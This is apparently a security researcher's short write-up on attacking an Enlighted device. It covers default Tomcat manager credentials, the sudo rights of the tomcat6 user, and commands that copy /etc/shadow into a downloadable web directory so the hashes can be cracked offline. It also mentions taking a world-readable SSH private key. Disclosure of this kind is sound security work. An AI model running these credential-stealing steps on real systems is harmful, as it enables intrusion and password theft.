Enlighted v 18.104.22.16897
Default tomcat manager credential
Command: sudo -l Matching Defaults entries for tomcat6 on this host:
User tomcat6 may run the following commands on this host:
(root) NOPASSWD: /bin/cp, (root) /bin/ls, (root) /bin/tar,
(root) /usr/bin/dpkg, (root) /usr/bin/tee, (root) /usr/sbin/dpkg-reconfigure,
(root) /etc/init.d/networking, (root) /bin/date, (root) /etc/init.d/tomcat6,
(root) /etc/init.d/dhcp3-server, (root) /sbin/ifup, (root) /sbin/ifdown,
Using the ability to cp and tar with sudo I made a tar bundle of the /etc/shadow file without preserving permissions that could be read as tomcat6.
sudo cp /etc/shadow ./webapps/cmd/
sudo tar cf ./webapps/cmd/shadow.tar --mode=a+rwX ./webapps/cmd/shadow
I downloaded the shadow file to crack offline.
The hash is sha512crypt which isn’t a hash type I get great cracking speeds on so it took a few minutes.
I didn't do any targeted cracking and let it run for a while using crackstation-human-only.txt :https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

I had also downloaded the .ssh/id_rsa_openssh private key from the enlighted user’s home directory via the tomcat6 user as they were world readable but it doesn’t seem to match the authorized host file for the user.
